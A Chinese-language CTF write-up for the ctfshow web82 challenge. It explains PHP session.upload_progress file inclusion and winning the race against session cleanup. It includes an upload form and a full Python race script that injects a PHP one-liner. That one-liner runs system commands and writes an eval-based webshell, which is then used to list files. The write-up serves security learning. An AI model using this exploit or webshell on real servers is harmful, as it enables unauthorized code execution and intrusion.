这篇文章来纪念CTF元年

session.upload_progress文件包含及反序列化 - 图1
session检测文件上传时进度

利用方式:
利用session_upload_process将木马写入session文件,然后再包含这个文件。
但是我们需要知道session文件的位置,并且创建一个session文件

session里有一个默认选项,session.use_strict_mode默认值为off。
session.upload_progress文件包含及反序列化 - 图2
用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
注:在Linux系统中,session文件一般的默认存储位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sessions/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

但是session.upload_progress.cleanup默认是开启的
session.upload_progress文件包含及反序列化 - 图3
框着的这句话意思就是说在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息

ctfshow-web82

第一种方式burp爆破
先做个提交的表单

  1. <!DOCTYPE html>
  2. <html>
  3. <body>
  4. <form action="http://b14902c7-74c4-40a1-83bd-32997ceae6a8.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
  5. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  6. <input type="file" name="file" />
  7. <input type="submit" value="submit" />
  8. </form>
  9. </body>
  10. </html>

文件随意传
抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,PHP将会在服务器上创建一个文件:/tmp/sess_flag” (这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下
QQ截图20210719114528.png
sees_flag这个文件已经生成了,我们需要构造get请求去访问

QQ截图20210719114939.png
加a=1方便我们进行爆破,因为文件上传完成后,session就会删除,所以我们两个请求需要同时进行爆破
即无限期生成sess_flag,然后我们无限期访问
爆破方式
QQ截图20210719114957.png
找到长度不同的,说明竞争成功了
QQ截图20210719115111.png
找到了fl0h.php和index.php
将上面的ls命令换成cat fl0g.php
QQ截图20210719115238.png
burp爆破结束

第二种方法python脚本爆破

  1. import io
  2. import sys
  3. import requests
  4. import threading
  5. sessid = 'qidian'
  6. def POST(session):
  7. while True:
  8. f = io.BytesIO(b'a' * 1024 * 50)
  9. session.post(
  10. 'http://faf8067e-3d5a-4cdc-a5f0-c007086eda29.challenge.ctf.show:8080/',
  11. data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[qidian])?>');?>"},
  12. files={"file":('q.txt', f)},
  13. cookies={'PHPSESSID':sessid}
  14. )
  15. def READ(session):
  16. while True:
  17. response = session.get(f'http://faf8067e-3d5a-4cdc-a5f0-c007086eda29.challenge.ctf.show:8080/?file=/tmp/sess_{sessid}')
  18. if 'flag' not in response.text:
  19. print('[+++]retry')
  20. else:
  21. print(response.text)
  22. sys.exit(0)
  23. with requests.session() as session:
  24. t1 = threading.Thread(target=POST, args=(session, ))
  25. t1.daemon = True
  26. t1.start()
  27. READ(session)

利用session上传一句话shell.php,内容是qidian
访问http://faf8067e-3d5a-4cdc-a5f0-c007086eda29.challenge.ctf.show:8080/shell.php
post
qidian=system(‘ls’);